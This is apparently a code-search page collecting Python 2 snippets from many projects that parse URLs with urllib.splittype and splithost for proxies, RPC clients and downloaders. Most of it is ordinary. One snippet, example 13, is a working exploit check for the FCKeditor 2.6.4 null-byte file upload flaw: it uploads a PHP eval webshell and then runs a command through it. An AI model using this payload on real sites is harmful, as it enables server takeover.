Esempio n. 1
0
 def start_a(self, attrs):
     if self.get_object():           # expensive!
         self.get_object().anchor(attrs)
         return
     name = type = target = title = ''
     id = None
     has_key = attrs.has_key
     #
     href = string.strip(attrs.get("urn", ""))
     scheme, resturl = urllib.splittype(href)
     if scheme == "urn":
         scheme, resturl = urllib.splittype(resturl)
     if scheme not in ("doi", "hdl", "ietf"):
         # this is an unknown URN scheme or there wasn't a URN
         href = string.strip(attrs.get("href", ""))
     name = extract_keyword('name', attrs,
                            conv=grailutil.conv_normstring)
     if has_key('type'): type = string.lower(attrs['type'] or '')
     if has_key('target'): target = attrs['target']
     if has_key('id'): id = attrs['id']
     self.anchor_bgn(href, name, type, target, id)
     # Delay this at least a little, since we don't want to add the title
     # to the history until the last possible moment.  We need a non-history
     # way to do this; a resources database would be much better.
     if has_key('title'):
         title = string.join(string.split(attrs['title'] or ''))
         if title:
             url = self.context.get_baseurl(
                 string.joinfields(string.split(href), ''))
             old_title, when = self.app.global_history.lookup_url(url)
             if not old_title:
                 # Only do this if there's not already a title in the
                 # history.  If the URL wasn't in the history, it will
                 # be given a timestamp, which is bad. ;-(
                 self.app.global_history.set_title(url, title)
Esempio n. 2
0
 def open(self, fullurl, data=None, method=None):
     """Use URLopener().open(file) instead of open(file, 'r')."""
     fullurl = unwrap(toBytes(fullurl))
     # percent encode url, fixing lame server errors for e.g, like space
     # within url paths.
     fullurl = quote(fullurl, safe="%/:=&?~#+!$,;'@()*[]|")
     if self.tempcache and fullurl in self.tempcache:
         filename, headers = self.tempcache[fullurl]
         fp = open(filename, 'rb')
         return addinfourl(fp, headers, fullurl)
     urltype, url = splittype(fullurl)
     if not urltype:
         urltype = 'file'
     if urltype in self.proxies:
         proxy = self.proxies[urltype]
         urltype, proxyhost = splittype(proxy)
         host, selector = splithost(proxyhost)
         url = (host, fullurl) # Signal special case to open_*()
     else:
         proxy = None
     name = 'open_' + urltype
     self.type = urltype
     name = name.replace('-', '_')
     if not hasattr(self, name):
         if proxy:
             return self.open_unknown_proxy(proxy, fullurl, data)
         else:
             return self.open_unknown(fullurl, data)
     try:
         return getattr(self, name)(url, data, method)
     except socket.error, msg:
         raise IOError, ('socket error', msg), sys.exc_info()[2]
Esempio n. 3
0
  def __init__(self, uri, transport=None, encoding=None, verbose=0,
               allow_none=0, use_datetime=0):
    urltype, _ = urllib.splittype(uri)
    if urltype not in ('http', 'https'):
      raise IOError('unsupported JSON-RPC protocol')

    _base.ServerProxy.__init__(self, uri, transport, encoding, verbose,
                               allow_none, use_datetime)
    transport_type, uri = urllib.splittype(uri)
    if transport is None:
      if transport_type == 'https':
        transport = SafeTransport(use_datetime=use_datetime)
      else:
        transport = Transport(use_datetime=use_datetime)
    self.__transport = transport
Esempio n. 4
0
def flushsquid():
    prefix = request.query.jsoncallback
    RawUrls = request.query.urls
    urlstype = int(request.query.urlstype)    
    LogKeyName = "key"+str(request.query.key)
    
    if RawUrls.strip() == "":
	DataDict = {'success':'0','text':'请输入需要刷新的URLS列表!'}    
	return prefix+"("+ujson.encode(DataDict)+")"
    else:
       RawUrls = RawUrls.strip(",") 
    
    UrlsList = RawUrls.split(",")
    
    QuitFlag = False
    PathList = []
    
    #判断收到的URL是否是同域名下同类型的URL(同是文件或目录)
    FirstUrl = UrlsList[0]
    proto,rest = urllib.splittype(FirstUrl)
    DomainName,path = urllib.splithost(rest)
    if "." in path:
        UrlType = "file"
    else:
        UrlType = "dir"
            
    for url in UrlsList:
        proto,rest = urllib.splittype(url)
        Thost,Tpath = urllib.splithost(rest)
        if "." in Tpath:
            TUrlType = "file"
        else:
            TUrlType = "dir"
        if DomainName != Thost or UrlType != TUrlType:
            QuitFlag = True
            break
        else:
            PathList.append(Tpath)

    if QuitFlag == False:
        try:
            #调用刷新类
            PurgeCacheObj =  exeCachePurge(UrlType,PathList,DomainName,LogKeyName)
            PurgeCacheObj.start()
        except Exception,e:
            DataDict =  {'success':'0','text':'%s'%e}
        else:
            DataDict =  {'success':'1'}
Esempio n. 5
0
 def open_http(self, url):
     """Use HTTP protocol."""
     if isinstance(url, str):
         host, selector = urllib.splithost(url)
         if host:
             user_passwd, host = urllib.splituser(host)
             host = urllib.unquote(host)
         realhost = host
     else:
         host, selector = url
         urltype, rest = urllib.splittype(selector)
         url = rest
         user_passwd = None
         if urltype.lower() != "http":
             realhost = None
         else:
             realhost, rest = splithost(rest)
             if realhost:
                 user_passwd, realhost = splituser(realhost)
             if user_passwd:
                 selector = "%s://%s%s" % (urltype, realhost, rest)
             if proxy_bypass(realhost):
                 host = realhost
     if not host:
         return -2
     h = httplib.HTTP(host)
     h.putrequest("GET", selector)
     if realhost:
         h.putheader("Host", realhost)
     for args in self.addheaders:
         h.putheader(*args)
     h.endheaders()
     errcode, errmsg, headers = h.getreply()
     return errcode
Esempio n. 6
0
    def test_empty_string_proxy_username(self):
        """
        Yoram Hekma submitted a patch[0] that ensured that an empty string in the proxy username
        would not count as the user supplying a username. This test ensures that behavior is tested.

        [0] https://github.com/pulp/nectar/pull/47
        """
        kwargs = {'proxy_url': 'https://invalid-proxy.com',
                  'proxy_port': 1234,
                  'proxy_username': '',
                  'proxy_password': ''}
        proxy_host = urllib.splithost(urllib.splittype(kwargs['proxy_url'])[1])[0]

        cfg = config.DownloaderConfig(**kwargs)
        session = threaded.build_session(cfg)

        self.assertEqual(session.stream, True)
        self.assertFalse(hasattr(session.auth, 'proxy_username'))
        self.assertFalse(hasattr(session.auth, 'proxy_password'))

        # Since the user provided the empty string for the proxy username, the username and password
        # should be missing in the session proxies.
        self.assertEqual(session.proxies,
                         {'http': 'https://%s:%d' % (proxy_host, kwargs['proxy_port']),
                          'https': 'https://%s:%d' % (proxy_host, kwargs['proxy_port'])})
Esempio n. 7
0
    def __init__(self, ec2_url, ec2_region, ec2_access_key, ec2_secret_key,
                 vpc=None, storage_path=None, request_floating_ip=False):
        self._url = ec2_url
        self._region_name = ec2_region
        self._access_key = ec2_access_key
        self._secret_key = ec2_secret_key
        self._vpc = vpc
        self.request_floating_ip = request_floating_ip

        # read all parameters from url
        proto, opaqueurl = urllib.splittype(ec2_url)
        self._host, self._ec2path = urllib.splithost(opaqueurl)
        self._ec2host, port = urllib.splitport(self._host)

        if port:
            port = int(port)
        self._ec2port = port

        if proto == "https":
            self._secure = True
        else:
            self._secure = False

        # will be initialized upon first connect
        self._ec2_connection = None
        self._vpc_connection = None
        self._vpc_id = None
        self._region = None

        self._instances = {}
        self._cached_instances = []
        self._images = None
Esempio n. 8
0
File: base.py Progetto: lls3018/mdmi
 def parse_callback_url(self, callback_url):
     proto, rest = urllib.splittype(callback_url)
     host, rest = urllib.splithost(rest)
     host, port = urllib.splitport(host)
     if not port:
         port = 443
     return host, port
    def test_build_session(self):
        kwargs = {'basic_auth_username': '******',
                  'basic_auth_password': '******',
                  'ssl_validation': False,
                  'ssl_client_cert_path': os.path.join(_find_data_directory(), 'pki/bogus/cert.pem'),
                  'ssl_client_key_path': os.path.join(_find_data_directory(), 'pki/bogus/key.pem'),
                  'proxy_url': 'https://invalid-proxy.com',
                  'proxy_port': 1234,
                  'proxy_username': '******',
                  'proxy_password': '******'}
        proxy_host = urllib.splithost(urllib.splittype(kwargs['proxy_url'])[1])[0]

        cfg = config.DownloaderConfig(**kwargs)
        session = threaded.build_session(cfg)

        self.assertEqual(session.stream, True)
        self.assertEqual(session.auth, (kwargs['basic_auth_username'], kwargs['basic_auth_password']))
        self.assertEqual(session.cert, (kwargs['ssl_client_cert_path'], kwargs['ssl_client_key_path']))
        self.assertEqual(session.proxies, {'http': 'https://%s:%s@%s:%d' % (kwargs['proxy_username'],
                                                                            kwargs['proxy_password'],
                                                                            proxy_host,
                                                                            kwargs['proxy_port']),
                                           'https': 'http://%s:%s@%s:%d' % (kwargs['proxy_username'],
                                                                            kwargs['proxy_password'],
                                                                            proxy_host,
                                                                            kwargs['proxy_port'])})
    def getpage(self, url_pair):
        # Incoming argument name is a (URL, fragment) pair.
        # The page may have been cached in the name_table variable.
        url, fragment = url_pair
        if self.name_table.has_key(url):
            return self.name_table[url]

        scheme, path = urllib.splittype(url)
        if scheme in ('mailto', 'news', 'javascript', 'telnet'):
            self.note(1, " Not checking %s URL" % scheme)
            return None
        isint = self.inroots(url)

        # Ensure that openpage gets the URL pair to
        # print out its error message and record the error pair
        # correctly.
        if not isint:
            if not self.checkext:
                self.note(1, " Not checking ext link")
                return None
            f = self.openpage(url_pair)
            if f:
                self.safeclose(f)
            return None
        text, nurl = self.readhtml(url_pair)

        if nurl != url:
            self.note(1, " Redirected to %s", nurl)
            url = nurl
        if text:
            return Page(text, url, maxpage=self.maxpage, checker=self)
Esempio n. 11
0
    def __init__(self, username=None, password=None, serverurl=None):
        self.username = username
        self.password = password
        self.verbose = False
        self.serverurl = serverurl
        if serverurl.startswith("http://"):
            type, uri = urllib.splittype(serverurl)
            host, path = urllib.splithost(uri)
            host, port = urllib.splitport(host)
            if port is None:
                port = 80
            else:
                port = int(port)

            def get_connection(host=host, port=port):
                return httplib.HTTPConnection(host, port)

            self._get_connection = get_connection
        elif serverurl.startswith("unix://"):

            def get_connection(serverurl=serverurl):
                # we use 'localhost' here because domain names must be
                # < 64 chars (or we'd use the serverurl filename)
                conn = UnixStreamHTTPConnection("localhost")
                conn.socketfile = serverurl[7:]
                return conn

            self._get_connection = get_connection
        else:
            raise ValueError("Unknown protocol for serverurl %s" % serverurl)
Esempio n. 12
0
 def request(self, method, url, body=None, headers={}):
     """
     Make CONNECT request to proxy.
     """
         
     proto, rest = urllib.splittype(url)
     if proto is None:
         raise ValueError, "unknown URL type: %s" % url
         
     # Get hostname.
     host = urllib.splithost(rest)[0]
     
     # Get port of one
     host, port = urllib.splitport(host)
     
     # When no port use hardcoded.
     if port is None:
         try:
             port = self._ports[proto]
         except KeyError:
             raise ValueError, "unknown protocol for: %s" % url
     
     # Remember.        
     self._real_host = host
     self._real_port = port
     
     # Remember auth if there.
     if headers.has_key("Proxy-Authorization"):
         self._proxy_authorization = headers["Proxy-Authorization"]
         del headers["Proxy-Authorization"]
     else:
         self._proxy_authorization = None
     
     httplib.HTTPConnection.request(self, method, url, body, headers)
    def verify(self):
        url = self.target
        filename = "ice.gif"
        foldername = "ice.php%00.gif"
        connector = "editor/filemanager/connectors/php/connector.php";
        proto, rest = urllib.splittype(url)
        host, rest = urllib.splithost(rest)
        payload = "-----------------------------265001916915724\r\n"
        payload += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"ice.gif\"\r\n"
        payload += "Content-Type: image/jpeg\r\n\r\n"
        payload += 'GIF89a'+"\r\n"+'<?php eval($_POST[ice]) ?>'+"\n"
        payload += "-----------------------------265001916915724--\r\n"
        packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder="+foldername+" HTTP/1.0\r\n";
        packet += "Host: "+ host +"\r\n"
        packet += "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n"
        packet += "Content-Length: "+ str(len(payload))+"\r\n"
        packet += "Connection: close\r\n\r\n"
        packet += payload
        webshell_url = url + '/uploadfile/file/ice.php'
        urllib2.urlopen(url, data=packet,timeout=5)
        request = urllib2.Request(webshell_url, data="e=echo strrev(gwesdvjvncqwdijqiwdqwduhq);")
        response = urllib2.urlopen(request).read()

        if 'gwesdvjvncqwdijqiwdqwduhq'[::-1] in response:
            self.result['status'] = True
            self.result['info'] = "目标存在fckeditor 2.6.4 %00截断任意文件上传漏洞, webshell: %s 密码ice" % webshell_url
Esempio n. 14
0
def _add_proxy(session, config):
    if None in (config.proxy_url, config.proxy_port):
        return

    # Set session.proxies according to given url and port
    protocol, remainder = urllib.splittype(config.proxy_url)
    host, remainder = urllib.splithost(remainder)
    url = ':'.join((host, str(config.proxy_port)))

    if config.proxy_username:
        password_part = config.get('proxy_password', '') and ':%s' % config.proxy_password
        auth = config.proxy_username + password_part
        auth = urllib.quote(auth, safe=':')
        url = '@'.join((auth, url))

    session.proxies['https'] = '://'.join((protocol, url))
    session.proxies['http'] = '://'.join((protocol, url))

    # Set session.auth if proxy username is specified
    if config.proxy_username is not None:
        proxy_password = config.get('proxy_password', '')
        if None in (config.basic_auth_username, config.basic_auth_password):
            # bz 1021662 - Proxy authentiation using username and password in session.proxies urls
            # does not setup correct headers in the http download request because of a bug in
            # urllib3. This is an alternate approach which sets up the headers correctly.
            session.auth = requests.auth.HTTPProxyAuth(config.proxy_username, proxy_password)
        else:
            # The approach mentioned above works well except when a basic user authentication is
            # used, along with the proxy authentication. Therefore, we define and use a custom class
            # which inherits AuthBase class provided by the requests library to add the headers
            # correctly.
            session.auth = HTTPBasicWithProxyAuth(config.basic_auth_username,
                                                  config.basic_auth_password,
                                                  config.proxy_username,
                                                  proxy_password)
Esempio n. 15
0
 def __init__(self, uri, transport=None, encoding=None,
              verbose=0, version=None):
     import urllib
     if not version:
         version = config.version
     self.__version = version
     schema, uri = urllib.splittype(uri)
     if schema not in ('http', 'https', 'unix'):
         raise IOError('Unsupported JSON-RPC protocol.')
     if schema == 'unix':
         if not USE_UNIX_SOCKETS:
             # Don't like the "generic" Exception...
             raise UnixSocketMissing("Unix sockets not available.")
         self.__host = uri
         self.__handler = '/'
     else:
         self.__host, self.__handler = urllib.splithost(uri)
         if not self.__handler:
             # Not sure if this is in the JSON spec?
             # self.__handler = '/'
             self.__handler == '/'
     if transport is None:
         if schema == 'unix':
             transport = UnixTransport()
         elif schema == 'https':
             transport = SafeTransport()
         else:
             transport = Transport()
     self.__transport = transport
     self.__encoding = encoding
     self.__verbose = verbose
Esempio n. 16
0
def url2pathname(pathname):
    """OS-specific conversion from a relative URL of the 'file' scheme
    to a file system path; not recommended for general use."""
    tp = urllib.splittype(pathname)[0]
    if tp and tp != 'file':
        raise RuntimeError, 'Cannot convert non-local URL to pathname'
    if pathname[:3] == '///':
        pathname = pathname[2:]
    elif pathname[:2] == '//':
        raise RuntimeError, 'Cannot convert non-local URL to pathname'
    components = pathname.split('/')
    i = 0
    while i < len(components):
        if components[i] == '.':
            del components[i]
        elif components[i] == '..' and i > 0 and components[i - 1] not in ('', '..'):
            del components[i - 1:i + 1]
            i = i - 1
        elif components[i] == '' and i > 0 and components[i - 1] != '':
            del components[i]
        else:
            i = i + 1

    if not components[0]:
        rv = ':'.join(components[1:])
    else:
        i = 0
        while i < len(components) and components[i] == '..':
            components[i] = ''
            i = i + 1

        rv = ':' + ':'.join(components)
    return urllib.unquote(rv)
Esempio n. 17
0
    def start(self, destfile=None, destfd=None):
        urllib._urlopener = OLPCURLopener()
        self._info = urllib.urlopen(self._url)
        self._outf = None
        self._fname = None
        if destfd and not destfile:
            raise ValueError('Must provide destination file too when'
                             ' specifying file descriptor')
        if destfile:
            self._suggested_fname = os.path.basename(destfile)
            self._fname = os.path.abspath(os.path.expanduser(destfile))
            if destfd:
                # Use the user-supplied destination file descriptor
                self._outf = destfd
            else:
                self._outf = os.open(self._fname, os.O_RDWR |
                                     os.O_TRUNC | os.O_CREAT, 0644)
        else:
            fname = self._get_filename_from_headers(self._info.headers)
            self._suggested_fname = fname
            garbage_, path = urllib.splittype(self._url)
            garbage_, path = urllib.splithost(path or "")
            path, garbage_ = urllib.splitquery(path or "")
            path, garbage_ = urllib.splitattr(path or "")
            suffix = os.path.splitext(path)[1]
            (self._outf, self._fname) = tempfile.mkstemp(suffix=suffix,
                                                         dir=self._destdir)

        fcntl.fcntl(self._info.fp.fileno(), fcntl.F_SETFD, os.O_NDELAY)
        self._srcid = GObject.io_add_watch(self._info.fp.fileno(),
                                           GObject.IO_IN | GObject.IO_ERR,
                                           self._read_next_chunk)
Esempio n. 18
0
    def compile(self):
        """Validate the user submitted url address at compile stage.

        The url address will be tested with the configured regex patterns
        loaded from :attr:`BaseHost.compiler_params`.
        Refer to :ref:`hwnetapi` for more details about the rules.
        """
        if self.config['urlrule']:
            p = re.compile(self.config['urlrule'])
            if not p.match(self.config['remote_addr']):
                raise NetApiAddressRejected(compile_error=lazy_gettext(
                    'Address "%(url)s" does not match pattern "%(rule)s"',
                    url=self.config['remote_addr'], rule=self.config['urlrule']
                ))
        if self.config['iprule']:
            domain = urllib.splitport(
                urllib.splithost(
                    urllib.splittype(self.config['remote_addr'])[1]
                )[0]
            )[0]
            # get ip from domain
            try:
                ipaddr = socket.gethostbyname(domain)
            except Exception:
                logger.exception(
                    'Could not get ip address for domain "%s".' % domain)
                ipaddr = '<invalid>'
            # ip not match, skip
            p = re.compile(self.config['iprule'])
            if not p.match(ipaddr):
                raise NetApiAddressRejected(compile_error=lazy_gettext(
                    'IP address "%(ip)s" does not match pattern "%(rule)s"',
                    ip=ipaddr, rule=self.config['iprule']
                ))
Esempio n. 19
0
    def __init__(self, url, config = Config):
        proto, uri = urllib.splittype(url)

        # apply some defaults
        if uri[0:2] != '//':
            if proto != None:
                uri = proto + ':' + uri

            uri = '//' + uri
            proto = 'http'

        host, path = urllib.splithost(uri)

        try:
            int(host)
            host = 'localhost:' + host
        except:
            pass

        if not path:
            path = '/'

        if proto not in ('http', 'https', 'httpg'):
            raise IOError, "unsupported SOAP protocol"
        if proto == 'httpg' and not config.GSIclient:
            raise AttributeError, \
                  "GSI client not supported by this Python installation"
        if proto == 'https' and not config.SSLclient:
            raise AttributeError, \
                "SSL client not supported by this Python installation"

        self.user,host = urllib.splituser(host)
        self.proto = proto
        self.host = host
        self.path = path
Esempio n. 20
0
    def request(self, method, url, body=None, headers={}):
        # Request is called before connect, so can interpret url and get
        # real host/port to be used to make CONNECT request to proxy
        proto, rest = urllib.splittype(url)

        if proto is None:
            raise ValueError, "unknown URL type: %s" % url

        # Get host
        host, rest = urllib.splithost(rest)

        # Try to get port
        host, port = urllib.splitport(host)

        # If port is not defined try to get from proto
        if port is None:
            try:
                port = self._ports[proto]
            except KeyError:
                raise ValueError, "unknown protocol for: %s" % url

        self._real_host = host
        self._real_port = int(port)

        httplib.HTTPConnection.request(self, method, rest, body, headers)
Esempio n. 21
0
def LoadBookmarks():
	"""Returns gtk bookmarks """
	_bookmarks_path = os.path.expanduser("~/.gtk-bookmarks")
	_places = []
	try:
		for line in file(_bookmarks_path):
			line = line.strip()

			if " " in line:
				uri, name = line.split(" ", 1)
				
			else:
				uri = line
				
				path = urllib.splittype(uri)[1]
				name = urllib.unquote(os.path.split(path)[1])

			try:
				if os.path.exists(uri):
					continue
                # Protect against a broken bookmarks file
			except TypeError:
				continue

			_places.append((uri, name))
		return _places
        except IOError, err:
            print "Error loading GTK bookmarks:", err
Esempio n. 22
0
    def stripy_article_list(self, section_name, page_num):
        try:
            self.cur_page = page_num
            article_list = []
            if page_num == 0:
                url = self.section_url_map[section_name]
            else:
                url = self.section_url_map[section_name][0:-8] + '_' + str(self.cur_page) + '.shtml'

            contentHtml = self.session.get(url, stream=True)
            encoding = chardet.detect(contentHtml.content)['encoding']

            if contentHtml.status_code == requests.codes.ok:
                pattern = r'<a href=\'(.*?)\'.*?<font class=a19_articlelist>(.*?)</a>.*?>(.*?)</td>'
                for mtFind in re.finditer(pattern, contentHtml.content, re.S):
                    if mtFind.groups()[0][0:4] == "http":
                        article_url = mtFind.groups()[0]
                    else:
                        proto,rest = urllib.splittype( self.section_url_map[section_name])
                        article_url = proto + "://" + urllib.splithost( rest )[0] + "/" + mtFind.groups()[0].strip("../")


                    public_time = self.strip_tags(mtFind.groups()[2])
                    title = mtFind.groups()[1].decode(encoding)

                    item = article_item(article_url, title, public_time)
                    item.set_section_name(section_name)
                    article_list.append(item)
            else:
                self.logger.error(u'没有获取到文章列表 ' + str(page_num) )
        except BaseException, e:
            self.logger.error(str(e))
Esempio n. 23
0
 def __init__(self, url, progress_cb=None, auth=None, config=None, 
              client_string_func=None, open_tmp_file_func=None):
     self.url = url
     (type, opaque) = urllib.splittype(url)
     assert type in ("svn", "svn+ssh")
     (host, path) = urllib.splithost(opaque)
     self._progress_cb = progress_cb
     self._auth = auth
     self._config = config
     self._client_string_func = client_string_func
     # open_tmp_file_func is ignored, as it is not needed for svn://
     if type == "svn":
         (recv_func, send_func) = self._connect(host)
     else:
         (recv_func, send_func) = self._connect_ssh(host)
     super(SVNClient, self).__init__(recv_func, send_func)
     (min_version, max_version, _, self._server_capabilities) = self._recv_greeting()
     self.send_msg([max_version, [literal(x) for x in CAPABILITIES if x in self._server_capabilities], self.url])
     (self._server_mechanisms, mech_arg) = self._unpack()
     if self._server_mechanisms != []:
         # FIXME: Support other mechanisms as well
         self.send_msg([literal("ANONYMOUS"), [base64.b64encode("anonymous@%s" % socket.gethostname())]])
         self.recv_msg()
     msg = self._unpack()
     if len(msg) > 2:
         self._server_capabilities += msg[2]
     (self._uuid, self._root_url) = msg[0:2]
     self.busy = False
Esempio n. 24
0
 def processRequest(self,method=None,url=None,data="",headers={}):
     conf = desktop.Config()
     if not conf['proxy']:
         self.proxy_host = None
         self.proxy_port = None
     else:
         self.proxy_host = conf['proxy']['proxy']
         self.proxy_port = conf['proxy']['proxy_port']
     socket.setdefaulttimeout(self.http_timeout)
     (protocol,resource) = urllib.splittype(url)
     (hostport,path) = urllib.splithost(resource)
     connexion = None
     if protocol.lower() == "http":
         (host,port) = urllib.splitnport(hostport, 80)
         import httplib
         if self.proxy_host != None and self.proxy_port != None :
             connexion = HTTPConnection(self.proxy_host, self.proxy_port, timeout=self.http_timeout)
             path = url
         else:
             connexion = HTTPConnection(host, port, timeout=self.http_timeout)
     elif protocol.lower() == "https" :
         (host,port) = urllib.splitnport(hostport, 443)
         connexion = HTTPSConnection(host, port)
         if self.proxy_host != None and self.proxy_port != None :
             connexion.http_proxy = [self.proxy_host,
                                     self.proxy_port]
     else:
         assert False, "Unhandled Protocol, please use HTTP or HTTPS"
     
         
     connexion.connect()
     connexion.request(method, path, body=data, headers=headers)
     response = connexion.getresponse()
     
     return response
Esempio n. 25
0
    def __init__(self, uri, username=None, password=None,
                 verify=False, sp=None, sp_kwargs=None):
        self.uri = self._transform_uri(uri)  # : From X{__init__(self, url)}

        self.username = username
        self.password = password

        self.scheme = urllib.splittype(self.uri)[0]

        if sp:
            self.sp = sp
        elif self.scheme in ['http', 'https']:
            self.sp = HTTPServerProxy
        elif self.scheme == 'scgi':
            self.sp = SCGIServerProxy
        else:
            raise NotImplementedError()

        self.sp_kwargs = sp_kwargs or {}

        self.torrents = []  # : List of L{Torrent} instances
        self._rpc_methods = []  # : List of rTorrent RPC methods
        self._torrent_cache = []
        self._client_version_tuple = ()

        if verify is True:
            self._verify_conn()
    def _get_real_authority(self):
        """
        Return the authority specification of the originally requested URL.

        The return value is a string of the form <host>:<port>.

        """

        url = self._proxy_request.get_selector()

        proto, rest = urllib.splittype(url)
        if proto is None:
            raise ValueError("unknown URL type: %s" % url)

        # Get the host and port specification
        host, rest = urllib.splithost(rest)
        host, port = urllib.splitport(host)

        # If port is not defined, then try to get it from the protocol.
        if port is None:
            try:
                port = self._ports[proto]
            except KeyError:
                raise ValueError("unknown protocol for: %s" % url)

        return '%s:%d' % (host, port)
Esempio n. 27
0
    def init_server(self, myuri):
        #Borrowed the following from rpcServer.py
        #rpclib.Server.__init__(self, uri, transport=self.rpc_args['transport'], encoding=self.rpc_args['encoding'], verbose=self.rpc_args['verbose'],\
        #                              proxy=self.rpc_args['proxy'], username=self.rpc_args['username'],\
        #                              password=self.rpc_args['password'], refreshCallback=self.rpc_args['refreshCallback'],\
        #                              progressCallback=self.rpc_args['progressCallback'])
        self._uri = myuri
        typ, uri = urllib.splittype(self._uri)
        typ = typ.lower()
        if typ not in ("http", "https"):
            raise InvalidRedirectionError(
                "Redirected to unsupported protocol %s" % typ)

        self._host, self._handler = urllib.splithost(uri)
        self._orig_handler = self._handler
        self._type = typ
        if not self._handler:
            self._handler = self.rpc_handler
        self._allow_redirect = 1
        del self._transport
        self._transport = self.default_transport(typ, self._proxy,
                                             self._username, self._password)
        self.set_progress_callback(self._progressCallback)
        self.set_refresh_callback(self._refreshCallback)
        self.set_buffer_size(self._bufferSize)
        self.setlang(self._lang)

        if self._trusted_cert_files != [] and \
            hasattr(self._transport, "add_trusted_cert"):
            for certfile in self._trusted_cert_files:
                self._transport.add_trusted_cert(certfile)
Esempio n. 28
0
    def do_open(self, http_class, req):
        host = req.get_host()
        if not host:
            raise URLError('no host given')

        h = http_class(host) # will parse host:port
        if req.has_data():
            data = req.get_data()
            h.putrequest('POST', req.get_selector())
            if not req.headers.has_key('Content-type'):
                h.putheader('Content-type',
                            'application/x-www-form-urlencoded')
            if not req.headers.has_key('Content-length'):
                h.putheader('Content-length', '%d' % len(data))
        else:
            h.putrequest('GET', req.get_selector())

        scheme, sel = splittype(req.get_selector())
        sel_host, sel_path = splithost(sel)
        h.putheader('Host', sel_host or host)
        for args in self.parent.addheaders:
            h.putheader(*args)
        for k, v in req.headers.items():
            h.putheader(k, v)
        # httplib will attempt to connect() here.  be prepared
        # to convert a socket error to a URLError.
        try:
            h.endheaders()
        except socket.error, err:
            raise URLError(err)
Esempio n. 29
0
    def __init__(self, uri, transport=None, encoding=None, verbose=0, auth_username=None, auth_password=None):
        # establish a "logical" server connection

        # get the url
        import urllib

        type, uri = urllib.splittype(uri)
        if type:
            if type not in ("http", "https"):
                raise IOError, "unsupported XML-RPC protocol"
            self.__host, self.__handler = urllib.splithost(uri)
            if not self.__handler:
                self.__handler = "/RPC2"

            if transport is None:
                if type == "https":
                    transport = SafeTransport()
                else:
                    transport = Transport()
        else:
            self.__host = uri
            transport = RawTransport()

        self.__transport = transport

        self.__encoding = encoding
        self.__verbose = verbose

        self.__username = auth_username
        self.__password = auth_password
Esempio n. 30
0
    def do_request_(self, request):
        host = request.get_host()
        if not host:
            raise URLError('no host given')

        if request.has_data():  # POST
            data = request.get_data()
            if not request.has_header('Content-type'):
                request.add_unredirected_header(
                    'Content-type',
                    'application/x-www-form-urlencoded')
            if not request.has_header('Content-length'):
                request.add_unredirected_header(
                    'Content-length', '%d' % len(data))

        scheme, sel = splittype(request.get_selector())
        sel_host, sel_path = splithost(sel)
        if not request.has_header('Host'):
            request.add_unredirected_header('Host', sel_host or host)
        for name, value in self.parent.addheaders:
            name = name.capitalize()
            if not request.has_header(name):
                request.add_unredirected_header(name, value)

        return request
Esempio n. 31
0
 def _getPath(self, url):
     proto, rest = urllib.splittype(url)
     host, rest = urllib.splithost(rest)
     path, query = urllib.splitquery(rest)
     return path
    def _retrieve (self, url, alias_list, post_data):
        """Really retrieve the url."""
        if url.get_protocol () == 'plucker':
            return self._retrieve_plucker (url, alias_list)

        elif url.get_protocol () == 'mailto':
            # Nothing to fetch really...
            return ({'URL': url,
                     'error code': 0,
                     'error text': "OK",
                     'content-type': "mailto/text",
                     'content-length': 0},
                     "")

        else:
            # not a plucker:... URL
            try:
                real_url = str (url)
                webdoc = self._urlopener.open (real_url, post_data)
                if hasattr (webdoc, 'retcode'):
                    headers_dict = {'URL': real_url,
                                    'error code': webdoc.retcode,
                                    'error text': webdoc.retmessage}
                    doc_info = webdoc.info ()
                    if doc_info is not None:
                        # This should always be a dict, but some people found None... :-(
                        headers_dict.update (doc_info.dict)
                    return (headers_dict, None)
                if hasattr (webdoc, 'url'):
                    #######################################################################
                    # Redhat 7.x default Python installation will return                  #
                    # webdoc.url without a protocol at the beginning                      #
                    # (e.g. ://www.xyz.com instead of http://www.xyz.com).                #
                    # This is due to a bug in RH's /usr/lib/python1.5/urllib.py.          #
                    # [email protected]                                                #
                    #######################################################################
                      ################################################
                      # On Windows we wan't use                      #
                      # URL(url).get_protocol to get the protokoll   #
                      # urllib.splittype(url) and all other url      #
                      # manipuling funktions are too buggy           #
                      ################################################



                    if sys.platform == 'win32':
                        from PyPlucker.Url import URL
                        webdoc_protocol = URL(webdoc.url).get_protocol
                    else:
                        (webdoc_protocol, webdoc_rest_of_url) = urllib.splittype(webdoc.url)

                    # check to see we have a valid URL; if not, use one we started with
                    if webdoc_protocol:
                        real_url = webdoc.url

                headers_dict = {'URL': real_url}
                doc_info = webdoc.info ()
                message(3, "doc_info is %s", doc_info);
                if doc_info is not None:
                    # This should always be a dict, but some people found None... :-(
                    headers_dict.update (doc_info.dict)
                if not headers_dict.has_key ('content-type'):
                    message (1, "Guessing type for %s" % url.get_path ())
                    headers_dict['content-type'] = GuessType (url.get_path ())
                else:
                    ctype, parameters = parse_http_header_value(headers_dict['content-type'])
                    headers_dict['content-type'] = ctype
                    for parm in parameters:
                        headers_dict[parm[0]] = parm[1]

                message(3, "headers_dict is %s", headers_dict);

                # Now get the contents
                contents = webdoc.read ()

                # Check if encoded contents...
                if headers_dict.has_key ('content-encoding'):
                    encoding = headers_dict['content-encoding']
                    if encoding == 'gzip' and _have_gzip:
                        s = StringIO.StringIO (contents)
                        g = gzip.GzipFile (fileobj=s)
                        c = g.read ()
                        g.close ()
                        contents = c
                    else:
                        return ({'URL': real_url,
                                 'error code': 404,
                                 'error text': "Unhandled content-encoding '%s'" % encoding},
                                None)

            except IOError, text:
                return ({'URL': real_url,
                         'error code': 404,
                         'error text': text},
                        None)
	    except OSError, text:
                return ({'URL': real_url,
                         'error code': 404,
                         'error text': text},
                        None)
Esempio n. 33
0
def get_base_url(url):
    import urllib
    import urlparse
    proto, rest = urllib.splittype(url)
    res, rest = urllib.splithost(rest)
    return urlparse.urlunsplit((proto, res, "", "", ""))
Esempio n. 34
0
def split_url(url):
    '''Splits a url into (uri_scheme, host[:port], path)'''
    scheme, remainder = urllib.splittype(url)
    host, path = urllib.splithost(remainder)
    return scheme.lower(), host, path
Esempio n. 35
0
    def guess_type(self, url, strict=True):
        """Guess the type of a file based on its URL.

        Return value is a tuple (type, encoding) where type is None if
        the type can't be guessed (no or unknown suffix) or a string
        of the form type/subtype, usable for a MIME Content-type
        header; and encoding is None for no encoding or the name of
